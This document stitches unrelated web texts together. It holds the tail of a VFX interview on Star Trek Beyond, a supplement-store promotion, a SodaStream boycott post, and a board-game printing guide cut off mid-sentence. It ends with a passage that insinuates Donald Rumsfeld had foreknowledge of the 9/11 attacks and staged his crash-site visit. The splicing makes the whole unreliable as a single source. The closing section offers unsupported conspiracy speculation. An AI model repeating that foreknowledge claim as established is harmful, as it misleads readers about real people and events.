Filling the forests on the planet with new plants and vines so it felt alien was deceiving in its simplicity. Some of those were also sequences that were split between Atomic Fiction and Double Negative so that shots cut back to back from each studio. This meant that we had to match the quality that Double Negative had produced and make sure the audience could never tell two different studios worked on the same environment. Thankfully the team and Double Negative was really great to work with and we kept each other updated with changing layouts and modified look of various plants. So when Scotty and Jaylah first meet nearly every part of that environment is modified. There are spiky moss chunks on the trees, little orange plants and these bulbous ferns all over, there are vines in the trees and on rock faces, and even the new lighting painted into the background. Once it was all done the world felt completely different than the filmed plate, but it since it was all enhancement to the real world, it helped us make it feel grounded. In the end, I don’t think you could tell at first glance that nearly all of that environment is edited and covered with new life, it just feels alien, but normal… a subtle but crucial achievement.
Yorktown is a huge environment. Can you tell us more about his Terminal?
The Yorktown terminal is where the Enterprise docks and everyone exits out into the space station for the first time. Once again, Marc designed the environment. The challenge here was clean and simple but interesting. This became a great exercise in minimalism. Too much made it seem crowded, not precise enough, and the design felt cheap. Jonathan Harman was able to draw upon a lot of reference from mid-century architects – especially Frank Lloyd Wright – and use that to help direct the design in a few various parts of the Yorktown that we worked on, including the Terminal. What I especially appreciated here was that I felt it help us visually create another connection to the original series by drawing influence from that era.
How did you created and animated the screens of the Yorktown Control Room?
Brian designed out the room and how the panels floated and the general look of it, while G Creative provided motion graphics that we were able to place in there. The entire environment was then dialed and directed by our compositing supervisor Mark Casey. This all involved creating a strong sense of volumetric light and a right contrast that set the mood. It really was a cool one to see turn around since the enhancements to the set pushed it into feeling like a futuristic control room and allowed us to play with the story telling a little as the damaged ship appears on the hologram and flies to the commanding officer. Little moments like that which help sell the action.
The final sequence takes place in an airlock chamber. How did you work with Double Negative about this sequence?
So the split between the studios on this one was a bit simpler, Double Negative created the actual Yorktown space station, and we created the airlock chamber, which was called the Zero Point Chamber with Jim Gibbs supervising the sequence at Atomic. So for the final shots we gave the asset of the chamber to Double Negative and they provided us with a series of spherical renders that we could use. The close up shots on the chamber actually became quite a technical puzzle. The chamber was 5 cubes of glass all over each other each refracting the layers behind it. That means in any given shot you could easily be looking through a dozen different layers of refractions and reflections where the actors needed to be layered and properly reflected from the front and behind. So to do this with without renders taking 30+ hours a frame Bruno Gagne our lighting lead and Jed Smith who was the compositing lead on this sequence managed to wrap their heads around the puzzle and worked out a system of layering the lighting renders and passes to properly make it so everything reflected and refracted as it realistically would.
Your sequences have lot of FX. Can you tell us more about the creation of these elements?
Well the first thing you need to know is that our FX lead is named James Kirk. That’s an automatic win!
As for the actual FX created, a lot of what we did was enhancing action on the plate, so adding smoke and dust and falling debris. Those shots are challenging on a shot by shot basis, but we have the benefit of being able to find real world reference. But, Star Trek is a franchise all about new worlds and new things. So some of the effects we had to create were presented with the challenge to not look like anything that exists. This would include the explosion that Kirk starts in the Enterprise, and the holograms that Krall is studying. So each of these had different challenges. For the explosion Peter had some great direction for color shifts and this tendril vortex feel to the flame as it rose toward our heroes. So these all broke into different elements and the concept phase essentially began right in Houdini with James creating various ideas and shapes. It was a complicated environment to also create the effects in since it was a mangled and destroyed section of the enterprise, so the flames and lighting needed to travel with and around the CG set. So James would create passes that lighting could use as an evolving light rig. And then the actual explosion was broken into more than a dozen elements that our compositor Sarah Young managed to meld together to fit in and combine futuristic fire and recognizable explosion so the final feeling was not normal, but believable.
As for the hologram effects, Brian and Marc drove the concept on these and really created a great look target to pursue. Mike Janov in our Oakland studio worked with FX artists to workout a methodology to follow the complexity of the concept. The concept portrayed multiple stages showing an artifact named the Abernath being placed into an apparatus sitting in a pool that looked similar to a birdbath. That apparatus clamped onto the Abernath, pulling it down into a goopy fluid. Then later the pool materialized into a cloud of data that created futuristic multi level panels that had an incredible amount of fluctuating data.
For the goopy pool, the original plates had what looked like substance similar to shampoo, as well as the clamping apparatus. Using that as a look target to hit, we re-created the clamping apparatus so we can animate it’s pinchers and move it downwards into the pool, as well as have FX artist Travis Harklroad generate two fluid simulations using Houdini’s flip solver. One that interacted with the apparatus and Abranath as it was submerged, another where it emerged. The simulations were then passed as a cached fluid surface where shaders, lighting and rendering were done by Deb Santosa and composited by Jason Arrieta. The third stage of the effect had panels of data floating above the pool that Krall had unlocked with the Abranath. Using Nuke, 3D cards were placed at different depths and orientations to create a multi layered slighted curved semi transparent display. A lot of attention was put into the placement, as we wanted the shot to feel incredibly complex in depth and data, but still had a nice composition of Krall looking at the panels. Compositors worked out timing of large blocks of data placement that had subtle movement, and that was used as a foundation to drive small bits of data done by FX artist Todd Dufour. The goal of the small bits of data was to make it appear as if data was coming from the pool moving upwards to draw the panels, and drop back down as if the data was being recycled. The final composite was done in Nuke, by Scott Gudahl.
What was the main challenge on this show and how did you achieve it?
The main challenge was the same challenge that is common on all shows. How do we make this as awesome as possible in the short schedule we have. STAR TREK BEYOND was on an accelerated schedule, so we needed to plan 2 – 3 steps ahead, and constantly evaluate what resources we had and what technique would work best. This is where we rely heavily on production to keep us creatives from going too crazy. Annie Normandin, our VFX Producer, worked closely with Ron, and we owe a lot to them for keeping us on track.
Was there a shot or a sequence to prevent you from sleep?
I was working on STAR TREK, I didn’t sleep because I couldn’t stop nerding out. There were a lot of busy moments on the show, and the team definitely did some amazing things to makes shots work and deliveries possible. But I can’t say I lost sleep.
What do you keep from this experience?
I work with some of the best artists out there, during every show I am reminded how great of a team they are.
How long have you worked on this show?
Atomic first began in August and finished in July. So roughly 11 months.
How many shots have you done?
In total we did about 450.
What was the size of your team?
About 120 in total. Between both Oakland and Montreal studios. Roughly 100 of those were artists.
What is your next project?
Currently Robert Zemeckis’ new film ALLIED.
What are the four movies that gave you the passion for cinema?
Im going to cheat and say the STAR TREK franchise. But that’s a little obvious at this point perhaps. So outside of that: 20,000 LEAGUES UNDER THE SEA, RETURN OF THE JEDI and JURASSIC PARK.
A big thanks for your time.
// WANT TO KNOW MORE?
– Atomic Fiction: Official website of Atomic Fiction.
© Vincent Frei – The Art of VFX – 2016AUSTRALIA is a fitness-loving nation.
The fitness industry has grown exponentially in the last decade and along with it, the sports nutrition category. Australians are the biggest consumers per capita of dietary supplements in the world. The vast range of supplements and powders now available in the market can be so confusing, leaving most fitness novices asking the question: which supplement is right for me?
Experiential marketer and fitness enthusiast Matt Cameron understands the frustration of having to choose adequate nutrition supplements to suit personal situations. A type 1 diabetic, Matt found the task of having to choose a low-sugar supplement difficult and daunting.
“As a type 1 diabetic, I’ve struggled for years to find the right products for me, and I know more than anyone that every person is different and there is no one approach that fits all,” he says.
With a team of experts, he has opened a new wave of multipurpose, core wellbeing stores: Fit Nutrition Fix, which offer fitness enthusiasts tailored nutritional solutions with a smart approach: one size does not fit all.
Taking a page out of his experiential marketing career, the concept stores create an interactive experience that go far beyond any traditional retail offering. Their flagship store is located in Sydney’s Bondi and is dedicated to providing customers with a customised retail experience to suit their individual needs. With support from their highly trained, informed and friendly staff, it takes the intimidation out of selecting a nutrition supplement that is right for you. You can choose to shop for your desired product, or purchase a nutritionist-approved smoothie and sit and chill at the music booth.
The one thing that is sure to capture the interest of all fitness enthusiasts alike, is the incredible technology Matt and the FIT team have produced. The FIT Finder is a digital platform which takes the confusion out of a supplement purchase and empowers customers to be their own health advocate.
“The concept of our in-store technology was born from the recognition that everybody is different, therefore everyone should have a tailored nutrition plan for their individual goals and needs,” Matt says.
“I also recognised that in today’s world, messages about health and wellbeing are highly saturated and can often be confusing and contradictory. I wanted to simplify the process for everyday people regardless of what they’re trying to achieve, making information easy to understand, accessible and highly personalised, and offer them real solutions in real time.”
Developed over nine months with the help of a dietitian, health coach and personal trainers; the platform takes the form of a touchscreen located in the store, but can also be accessed from the FIT website.
It uses an algorithm that helps link an individual’s lifestyle, goals and interests to produce product recommendations in the form of stocked supplements, vitamins, or even a smoothie on their menu.
“This all happens in around 60 seconds,” Matt says, “The extensive data entered into the system means that specific details of hundreds of products can be accurately narrowed down into categories suitable for any given customer. This not only offers an unprecedented level of personalised service in the fraction of the time it usually takes, but minimises the risk of human error.”
The way the technology is structured allows for customers to categorise their purchases based on their level of commitment. So if you’re starting out with your fitness goals, the FIT Finder will recommend a certain level of products different to those for people who are serious about their fitness regimen.
“The system also suggests ideal smoothies for the customer based on their answers to the questions, which they can order on the spot in store. As each smoothie includes at least one product available for purchase, it means the customer has the opportunity to sample a product prior to purchasing it.
“This is a world-first for an experience of this kind and sets the benchmark for retailers in this sector.”
@caitlinchanderWant to buy a product with a “feel-good message about saving money and the planet”?
Then the advice from Wired magazine for the year-end consumption binge (also known as the “Holiday Season”) is to buy a SodaStream home carbonation machine.
Wired names SodaStream one of its 2013 “Editor’s Picks” without mentioning the fact that the soft-drink machine is manufactured in Maale Adumim, one of Israel’s illegal West Bank colonies where Palestinian workers, with few other options under brutal Israeli military occupation, have said they are treated “like slaves.”
SodaStream also managed to get its product promoted as one of the “favorite things” of celebrity Whoopi Goldberg, host of the ABC chat show The View.
But far from saving the planet, Israel’s unregulated industrial zones built illegally on Palestinian land are destroying the environment and causing sickness in nearby Palestinian communities.
SodaStream days of action
As the occupation-profiteering company steps up its aggressive marketing, activists are also gearing up for the Boycott SodaStream Days of Action from 29 November to 10 December.
The brief video above highlights retailers such as Target, which claim to uphold “the highest ethical standards,” and yet sell SodaStream products whose profits “reinforce a system of brutal ethnic segregation.”
The video features shots of the prison-like conditions Palestinian workers must navigate to get to jobs where they enjoy no rights or protections. (You can see more images of Palestinian workers’ everyday nightmare at Israeli checkpoints in Daniel Tepper’s recent photostory for The Electronic Intifada.)
De-shelve SodaStream
The video urges people to “Join the coalition of Christians, Muslims and Jews, and many others, asking shoppers to boycott SodaStream and asking Target and others stores to de-shelve SodaStream products.”
Coordinated by the US Campaign to End the Israeli Occupation, the members of the “SodaStream Boycott Interfaith Coalition” are listed at the end of the video.
The US Campaign offers information on upcoming actions and suggestions for those who wish to join the campaign.
The coalition also has its own website (sodastreamboycott.org) with news and photos of actions around the country.
Counter-branding
Some activists are using social media to spread the message about SodaStream’s occupation profiteering and participation in Israel’s crimes.
Israeli boycott activist Ronnie Barkan, for instance, tweeted these images and messages at the company and at Whoopi Goldberg.
They don’t show it in such a pleasant greenwashed light:
Q: how many @SodaStreamUSA devices does it take to screw millions of Palestinians? A: One bought via @Wired_magazine pic.twitter.com/OqGY4p9mnI — ronnie barkan (@ronnie_barkan) November 20, 2013Board games Production. part 1 : Printing, cardboard and cards.
This chapter will be more technical than the previous ones, and will try to cover key aspects of the actual production of a board game : Once playtesting is done, once the game has been quoted, it will be manufactured. Boardgames are not standard issue items, everything is bespoke, and there are a lot of different techniques and materials being used to produce that finished box.
This is one of the most complex and fascinating aspects of this trade, and you should try to at least understand the basics of each of these techniques and materials. This will allow you to better use them, reduce your costs, and more efficiently develop new games as you have gained a better understanding of what can and cannot be done, and what the impact of your decisions is on production cost.
In complement to this chapter, I can't recommend enough that you go watch 'Made for play', a documentary from the folks at The Spiel Podcast, which was filmed on location at Ludopackt, the leading European manufacturer of boardgames : http://www.youtube.com/watch?v=uvrmG7G7XqU
Printing
This is the most basic and most important part of most boardgames. All the text and images that appear on your game components and packaging will be printed. There are extensive resources available on Internet and plenty of books on printing, so I will not cover this in depth here and will provide links to external resources where pertinent. This will also help keep this chapter a manageable size, because there is enough relevant material on this subject matter to cover several whole books.
You absolutely need to get at least a basic understanding of the whole printing process, and you also need to learn how to properly use pre-press/desktop publishing software in order to produce files that a professional printer can actually use to print your game. This chapter will end with a section covering pre-press basics, but here again there are extensive resources available on the Internet and lots of books on the subject matter so do your homework.
Offset/digital offset
Offset printing is the most common method for industrial printing. In a nutshell, the page text and images are decomposed in a few basic colours (usually Cyan, Magenta, Yellow, and blacK - CMYK) and each colour image is 'engraved' on a thin steel plate. Actually nowadays, printing plates are not "engraved" anymore. They are imaged on computer-to-plate (CTP) makers, using lasers to burn off incredibly thin layers of polyester or metal plates. These plates are affixed to big steel rolls, each roll is rubbed in ink of the matching colour, and sheets of paper are fed through all rolls in sequence.
Each roll deposits ink on the paper like a big roller stamp and once the sheet has been through all rolls the sum of all coloured inks forms the printed image.
More steps (plate/roll/ink) can be added, to have more colours, special inks such as gold or silver, and one or two coats of varnish..
An offset press is a huge machine, bigger than a car, that can cost over 2.5 million Euros for a 6 colours press, and which is engineered to produce very high volumes of printed material in a small amount of time. State of the art offset printing presses can churn through 16.000 sheets of paper per hour.
First the operator runs it very slowly over a few sheets of paper to check all colours are correctly registered (i.e. alignment is perfect and no colour is printed slightly off-centre) and that the colour balance is correct (i.e. the final image is neutral, without a colour cast.) Once these calibration tests are done, the whole print run is launched.
Here is a small video of such a printing press, a speedmaster sheetfed process offset press : http://www.youtube.com/watch?v=ic6KZqe-sYI
For higher volumes, such as newspaper, the basic process is the same but instead of using a sheet feeder which slows down the process, they use web fed presses, or web press. This is nothing like an office copier where you set a number of copies and get that exact amount of copies delivered : it prints on a continuous feed of paper, coming from a huge roll. The machine starts off slow, then gains speed until it reaches its peak speed. The operator evaluates the time required to print the requested amount of copies, and lets the machine run for that time, with a small margin. Then, the machine is stopped, and the printed roll is cut in individual prints which are only then counted to know how much copies were eventually produced.
Here is a small video covering that process : https://www.youtube.com/watch?v=kBpeoCW8Xq8
You can get more information on Offset printing on Wikipedia for a start : http://en.wikipedia.org/wiki/Offset_printing
Using either process, some copies will be lost at set-up time, and at the end of the production. Also it happens that problem arise during production leading to a full halt and restart of the printing press. This makes it quite difficult to print an exact amount of copies on that kind of industrial press. Moreover some copies will be damaged during handling, bent, smeared, lost,...
To account for this, most printers will have a variation in the actual copies produced with regard to the amount requested. A 10% variation is common in the industry, meaning your total will be between +5% and -5% of what you requested (so for 1.000 copies requested, expect to get between 950 and 1050 copies.) Some printers will just produce more to be sure to have at least the exact amount requested, discard the un-requested copies, and charge you for the cost anyway.
Since there are lots of different printed materials in a single board game it also means not all items will have the same production count, so your actual number of produced games will be limited by the item that was printed in the least copies : if the printer produces 1500 boards, 1450 sets of punchboards and 1480 rulebooks, he'll be able to assemble only 1450 games.
Another important aspect of offset printing is that the sheet being printed must be thin and flexible to be fed through the printing press rolls. You cannot feed thick cardboard or chipboard into an offset printer, so usually printing is done on thin paper that will then be mounted on cardboard. Cloth and other materials are not suitable for offset printing either.
I can't resist the opportunity to also share this wonderful video explaining how printing ink is made :
https://www.youtube.com/watch?v=Fypi6dAJB8E
Flexography, serigraphy, and other less common techniques
There are other printing techniques that you will sometimes have to deal with as a board games publisher. Offset is a great and very precise technique, but it is mostly only fit for printing ink on paper. These other techniques will come into play if you want a printed image on other materials than paper (or paper mounted on cardboard).
Flexography is more common for printing on plastics and rigid, thicker materials. The material must however be flat. It is somewhat similar to offset but instead of steel plated the printing plates are made of a rubbery-like material. For more info on Flexography, check out Wikipedia : http://en.wikipedia.org/wiki/Flexography
Serigraphy, or screen printing is basically using a stencil to lay ink on a support. This can be used to print on surfaces that are not flat and which cannot be put through the pressure of an offset printing press. It is very common in textiles (T-shirts especially). High end machines allow for automation but at its heart serigraphy is a manual and labour intensive process. This means for small quantities it's usually expensive. It also is limited in colour registration precision, as each colour must be stencilled separately, in sequence over the support. Again, you can get much more info on Wikipedia : http://en.wikipedia.org/wiki/Screenprinting
Other less common techniques are sometimes used, such as laser etching, digital printing (for small quantities that require full colour images), ink-jet printing, etc. The printing method to use will mostly be dictated by the support you want to print on and the kind of images you need to print. Nowadays it's even possible to print images on food, and the possibilities really are endless. What you really need to understand is offset printing and the most common techniques described above. You can always come back and look up information on the other techniques on the internet when you need them.
Varnishes and coatings, lamination, Foils
Printed material can be improved before it is mounted on cardboard. The most common finish is a coating. This is a layer of varnish that is coated on the whole print, sealing and protecting the ink and paper from friction and smearing. Coatings can be applied at the printing press stage, of be sprayed on the finished prints.
Varnish and coating are nowadays usually aqueous (water-based), in order to comply with health and safety regulations in the workplace and for the toys and games market.
Coating can be matte, semi-gloss of glossy, and will affect the appearance of your print very much; Glossy coatings make the print look more contrasted, with deeper darks and colours; matte coatings will slightly subdue the colours and darks.
Several layers of coating can be applied, and coating can be printed just as printing ink. This allows for fancy effects such as an overall matte coating with some parts of the print covered in a glossy coating.
UV coating is a special type of coating made of a polymer that hardens when exposed to UV light (this is called curing). The coating is a clear viscous liquid that remains liquid and sticky until cured. UV coating usually is thicker than a regular coating meaning it is mechanically more resistant too. In contrast aqueous coatings harden by drying, or by polymerisation (so called acrylic coatings or acrylic polymer coatings).
Paper and cardboard can also be embossed or stamped in to shape them. This is usually done after printing so the precise registration required for color printing can be achieved ona flat surface, before shaping.
Lamination is another way to protect print. It consists in gluing a sheet of plastic on the print, usually transparent. Lamination also allows for 'foil' effect : a metallic foil is laminated on the print, thin enough that the printed material can still be seen through it. The metal foil breaks light in an iridescent pattern. Opaque foils can also be applied on some parts of the print, for a mirror silver or gold finish for instance.
Last but not least, the printed material can be textured. This occurs either before print using a textured paper, or more commonly after printing, by spraying a textured coating or laminated a textured plastic.
Laminating a sheet of plastic is more resistant than a coating, however if applied incorrectly lamination can peel away over time. It can also be a problem with die cut components so it usually used only for game boxes and sometimes boards.
The mounting process
Pasting thin sheets of printed material on a cardboard panel is called'mounting'. This process requires high precision when mounting prints on both faces of the cardboard as both sides need to be perfectly aligned to each other. This step is automated, to ensure perfect alignment and consistent gluing of the surfaces. The panel is then flipped and the operation is repeated on the other side.
You usually will never see a panel of cardboard that isn't mounted on both sides : even if only one side is to be printed, a blank or printed sheet of paper will be mounted on the other side as well. This has two purposes : first, it ensures both sides of the cardboard have been coated in glue, which does seal the cardboard against humidity as well as it fixes the printed paper on it. Second, once mounted the paper and cardboard will react to ambient humidity changes at a different pace, which might lead to warping when one of the components shrinks or grows at a different pace than the other. Mounting paper on both sides greatly reduces this effect. (Corollary : Mounting different types of paper on both faces of a cardboard sheet can lead to warping.) Last but not least it is not very nice to see components that are printed material on one side and plain greyboard on the other, so it's aesthetically better too.
This process is the same for game boards, punchboards, and boxes (although these generally are mounted on only one side. The folding and shaping of the boxes helps prevent warping.)
Game boards and cardboard tokens, game boxes
As I stated above, there is nothing like a standard component in a boardgame. Everything is bespoke, every time. However some techniques are common to many boardgames, and the most widespread ones are die cut cardboard counters, game boards, and game boxes (which use the same techniques).
These components are made of printed paper mounted on a cardboard core, which is then cut and bent into shape according to your needs. This also places board games production out of the league of most printers. Printers specialize in printing on paper, usually using offset presses as described above. Cardboard thicker than a cereal box is too thick and rigid to run through a printing press so these items are made of printed paper mounted on cardboard. Pasting printed paper on both sides of a cardboard sheet, with perfect centring (usually called'registration' : both sides are perfectly aligned to each other) is a very specific trade that is different from printing itself. So different in fact that some boardgames manufacturers use an external supplier for printing and specialize on the mounting and transformation of the cardboard itself.
Some printers specialized in box making or advertising/point of sale displays have the required tools and know-how for that kind of work too, but most commercial printers don't.
Paper and cardboard/chipboard types
There are lots of different kind of papers and cardboard available on the market. Paper and cardboard usually are made from a combination of cellulose (from wood or cloth) and glue, in varying proportions. Other items can be added to get different textures, thickness, rigidity, colours, softness, glossiness, whiteness,.... So here again you will need to do a bit of side research as entire books could be written on that subject matter alone.
Cardboard (grey cardboard made of recycled elements - Cardboard usually is called chipboard in the US, and sometimes paper board) is basically paper but much more thick. The quality of the components used (wood or cloth) and amount of glue used will play a major part in the mechanical properties of the cardboard, and have a major impact on the quality of the final product.
For board games, you want cardboard that is dense (made of smaller fibres with a high ratio of glue to fibres) and rigid. Using a softer type of cardboard will lead to many problems : poor die cutting because the cardboard compresses under the blades and the blades bend during cutting, tokens easily torn apart at the core - both faces separating, variations in the surface finish, components that tear when punched out or which bend easily. Also cardboard with less glue is more sensible to humidity and can degrade over time or even worse mould or rot if exposed to humidity.
Good cardboard for boardgames will be dense (pressing your fingernail on it will not dent it much), have a high glue to fibre ratio so it resists well to humidity and doesn't bend easily, be smooth on the surface (which means fibres used in its fabrication are ground thin), and preferably be grey rather than brown (meaning it is based on cloth rather than wood pulp.) Of course this is just an indication, and you will learn over time to recognize good cardboard from bad.
When you buy and un-punch a new game, always take some time to observe the cardboard used. Tear away a few pieces of the punched sprues and look at the core between the printed material : colour, texture, density, hardness,... You'll quickly notice that according to the place the game has been manufactured different cardboard types are used, with different end results.
Paper and Cardboard weight measurements
The history of paper making and printing is quite long already, even if you only go back to Gutenberg and forget about parchment and papyrus from the antiquity. It has evolved into an industrial process all over the world, and different regions have grown to have different ways to measure paper and cardboard size and weight, just as the imperial and metric systems of measurement for distances and weights are used in different parts of the world. As a board game publisher you'll have to deal with both according to the location of your suppliers, and as you will see this long history of paper brings some fun oddities.
There are two key measurements with paper : Size and Density. Size is the way a sheet of paper's surface is measured, and there are several standard sheet sizes in the industry. If you want to be able to optimize your printing costs, it can help to figure out the sheet size used by your printer. This is especially true when printing cards : if your whole set fits on one sheet it will be cheaper, and if it is just one or two cards too much to fit on a single sheet it might be a good idea to reconsider the number of cards you use. Any good printer/manufacturer will inform you of such issues in order to save on production costs.
The Wikipedia page on paper sizes gives a thorough run-down of standard sheet sizes : http://en.wikipedia.org/wiki/Paper_size
Density measures both the weight and thickness of paper. Different systems of measurement are used in the metric and non-metric world, and there is no easy way to convert from one to the other.
I will refer you to the excellent Wikipedia article on paper density for a detailed explanation : http://en.wikipedia.org/wiki/Paper_density
When in doubt as to the exact qualities of a paper type your supplier proposes, always ask for a sample. They will send you a small blank piece of that paper and you will be able to evaluate it much better than with just a few numbers.
Die cutting tools
Many boardgames use several die-cut punch-boards (also sometimes called 'flats' in the industry) for game tokens and counters. Both faces of the punch board are covered with printed paper, mounted in perfect registration, and the resulting sandwich is then press-cut using what could best be described in layman's terms as a sort of giant cookie-cutter.
When designing a punched board layout, always remember that you will have a front and a back side, and that they will be mirrored. Always label |
eventually leave his office, after the Pentagon was attacked, he then put himself in an even more vulnerable position by going to the crash site. He should surely have considered it possible that there would be additional attacks at the Pentagon, just like there had been a second attack at the World Trade Center. And if another attack occurred there, he would presumably have been most at risk of being killed or seriously injured outside the building, where there were no walls to protect him.
Those who accompanied him to the scene of the attack certainly seem to have thought so. While he was at the crash site, they "were really preaching [to him] that it is really dangerous," Oldach recalled. [76]
RUMSFELD'S VISIT TO THE CRASH SITE WAS BRIEF AND UNNECESSARY
Going to the scene of the attack, as well as putting the secretary of defense potentially in danger, was a pointless exercise. Although about 20 minutes passed between when Rumsfeld left his office to visit the crash site and when he returned to the building, the attack occurred on the opposite side of the Pentagon to his office. [77] Taking into account the time it would have taken to walk to and from the site, Rumsfeld could only have been at the crash scene for a few minutes. [78] This was presumably too little time for him to achieve anything meaningful while there.
Visiting the crash site--where all he did was inspect the area and help carry a stretcher--also meant Rumsfeld was unable to attend to the tasks he was responsible for at that time. Whereas any Pentagon employee could have gone to the site and reported back to Rumsfeld what they saw, and there were trained medical personnel whose job it was to assist the wounded, Rumsfeld was irreplaceable as the secretary of defense. "He was the secretary of defense; the country was under attack; he actually had a job to do," Andrew Cockburn commented. [79]
Rumsfeld offered a weak explanation for why he abandoned his responsibilities and went to the crash site, saying, "It was a funny thing for me to do, I suppose, and unusual, but I just felt I had to see what it was and what had happened, because no one knew." [80] Some of his colleagues, though, seem to have thought his actions were inappropriate. These include Stephen Cambone, who commented that Rumsfeld only stayed at the crash site for a short time because "his job was inside, not outside the building." [81]
And Joseph Wassell urged Rumsfeld to go back into the Pentagon because he recognized the unnecessity of the secretary of defense being at the scene of the attack. He recalled that after Rumsfeld and his entourage had been at the site for some time, he "decided that there was probably already a mechanism in place to take care of this recovery effort."
He therefore said to Rumsfeld, "Mr. Secretary, I know Doc Baxter [Colonel John Baxter, commander of the Air Force Flight Medicine Clinic] and I know that there is a mechanism." "This was going to be taken care of by the professionals," he has commented. He told Rumsfeld, "I really need to get you on the phone with the president." Rumsfeld agreed with his evaluation and subsequently headed back into the Pentagon. [82]
RUMSFELD IGNORED ATTEMPTS TO GET HIM INVOLVED WITH THE RESPONSE TO THE ATTACKS
The failure of Donald Rumsfeld to help deal with the crisis after the second crash at the World Trade Center occurred is particularly alarming considering that some of his colleagues apparently tried to get him involved with the military's response to the attacks at that time, but he rejected their advice. This indicates that he made a conscious decision to do nothing.
For example, when she entered his office to give him his intelligence briefing, Denny Watson told Rumsfeld: "Sir, you just need to cancel this [briefing]. You've got more important things to do." But he replied: "No, no. We're going to do this."
And when Victoria Clarke and Larry Di Rita came in and tried to get Rumsfeld to cancel his schedule, he refused to do so. They advised him to cancel his appointments for the rest of the day, presumably so he could focus on responding to the attacks. But, astonishingly, he told them: "No! If I cancel my day, the terrorists have won."
Even when Clarke and Di Rita pulled out a copy of his agenda, took him through it point by point, and showed him why each appointment could be canceled, Rumsfeld remained unmoved. His only response was to turn to the television on his desk and look at the coverage of the attacks in New York. After Clarke and Di Rita left the office, he just returned to skimming through the President's Daily Brief. [83]
Rumsfeld still failed to do anything meaningful when he returned to the building following his visit to the scene of the Pentagon attack. Although he talked on the phone with President Bush shortly after 10:00 a.m., the call apparently did little, if anything, to help deal with the attacks. According to a 9/11 Commission staff statement, "No one can recall any content [of the call] beyond a general request to alert forces." Rumsfeld and Bush "did not discuss the use of force against hijacked airliners," the statement added. [84] Rumsfeld's only recollection of the call in his memoir was of telling the president what he knew about the extent of the damage to the Pentagon. [85]
Then, after entering the ESC at around 10:10 a.m. to 10:15 a.m., rather than inquiring about the attacks or immediately issuing some orders, Rumsfeld "pulled out a yellow legal pad, took his seat at the head of a conference table, and wrote down three categories by which his thinking would be organized the rest of the day," according to Victoria Clarke. He wrote down "what we needed to do immediately, what would have to be underway quickly, and what the military response would be." [86]
Although the secretary of defense became more involved in the military's response to the attacks after he entered the NMCC, at around 10:30 a.m., his attempt at developing "rules of engagement" for the fighter pilots who were defending America's airspace was "an irrelevant exercise," according to Andrew Cockburn, since he did not complete and issue the rules until 1:00 p.m., "hours after the last hijacker had died." [87]
RUMSFELD CONTRIBUTED TO 'THE DYSFUNCTIONAL REACTION TO THE ATTACKS'
Donald Rumsfeld has been criticized by a number of officials and journalists for his blatant failure to help the military respond to the terrorist attacks on September 11 until it was too late to make a difference. These criticisms highlight the contrast between what Rumsfeld, as secretary of defense, should have done and what he actually did.
He "contributed materially to the whole dysfunctional reaction to the attacks," Cockburn said, explaining: "He was in the wrong place.... He didn't do his duty and concerned himself with irrelevant matters." [88] He "essentially was a bystander that morning, with little or no input in the crisis," journalist James Ridgeway noted. [89]
Robert Darling expressed his concerns about Rumsfeld's actions, asking: "Why did Secretary Rumsfeld abandon his post that day by not responding to the National Military Command Center the moment the attack on our country was realized? Why didn't he attempt to contact the president sooner? Why was the National Command Authority so ineffective?" [90]
RUMSFELD'S DECISION TO GO TO THE CRASH SITE WAS 'UNBELIEVABLY SHOCKING'
Rumsfeld has faced particular criticism for his decision to visit the crash site immediately after the Pentagon was hit. "The country was under attack and yet the secretary of defense disappears for 20 minutes," Cockburn remarked. "He abandons his wider responsibilities to go look at the fire." [91]
"In the time that Rumsfeld had taken to go outside, he was out of the national command loop, out of touch with other high-level government officials who were trying frantically to figure out the nation's response," veteran Washington Post reporter Bradley Graham noted. He consequently "played no part in the urgent initial efforts to determine whether any additional air threats remained or in the decision to authorize military pilots to shoot down any menacing aircraft that refused to divert," Graham added. [92]
John Jester complained that since Rumsfeld was "in the National Command Authority," he "should not have gone to the scene" of the attack. "One of my officers tried to stop him and he just brushed him off," Jester said, adding, "I told his staff that he should not have done that." [93]
Darling criticized Rumsfeld's decision to leave the building and go to the crash site, saying: "His absence was unbelievably shocking. He should have been at his post in the national command structure organizing the defense of the country and instead he was outside helping the wounded." [94]
An unnamed senior White House official had particularly harsh words for Rumsfeld. He angrily commented: "What was Rumsfeld doing on 9/11? He deserted his post. He disappeared. The country was under attack. Where was the guy who controls America's defense? Out of touch!" The official said it was "outrageous" for Rumsfeld "to abandon [his] responsibilities and go off and do what you don't need to be doing, grandstanding." [95]
Rumsfeld, however, claimed his decision to visit the crash site was of little consequence. When asked if he thought his absence from the NMCC during the first minutes after the attack on the Pentagon had a detrimental effect, he replied: "I don't think so--who knows? My deputy was here. The chain of command was complete." [96]
DID RUMSFELD HAVE FOREKNOWLEDGE OF 9/11?
Donald Rumsfeld should surely have assumed, when he learned about the crashes at the World Trade Center on September 11, that his actions might make a difference to the outcome of the crisis and have got involved with the response to it as quickly as possible. Why, then, did he continue with a routine intelligence briefing and make a pointless visit to the scene of the Pentagon attack when his job was to protect his country? His actions effectively meant that for the entire time America was under attack, the nation was without a secretary of defense.
Furthermore, why was Rumsfeld apparently unconcerned for his own safety at the time of the attacks? If 9/11 was unforeseen, as has been officially claimed, he should surely have thought the Pentagon was a potential target after he learned what had happened at the World Trade Center.
Why, then, did he apparently place himself in danger by remaining in his office, on the outer ring of the building, at that time rather than going to somewhere less vulnerable? And why did he leave the relative safety of the building to visit the crash site after the Pentagon was hit, even though it was possible that the Pentagon would be attacked again?
It seems difficult to attribute Rumsfeld's actions to incompetence. Rumsfeld had been secretary of defense for eight months under President Bush when 9/11 occurred and previously served as defense secretary for 14 months during the presidency of Gerald Ford in the 1970s. [97] He should surely therefore have acquired a good understanding of his responsibilities in this important post and known what his duties were on September 11.
A possible, albeit sinister, explanation for Rumsfeld's actions while the 9/11 attacks were taking place is that Rumsfeld had foreknowledge of what was going to happen on September 11. If this was the case, he presumably would have known he could get away with taking no action in response to the attacks until it was too late to make a difference. And if he knew in advance what the targets of the attacks were going to be, he would have known he would be safe in his office while he received his intelligence briefing and at the scene of the attack after the Pentagon was hit.
VISITING THE CRASH SITE WAS 'VERY ASTUTE, POLITICALLY'
If Rumsfeld knew in advance what would happen on September 11, this could mean his decision to hurry to the scene of the Pentagon attack, where he was caught on video helping to carry a stretcher, may not have been spontaneous but could instead have been made beforehand, as a cynical way to exploit the catastrophe to improve his public image.
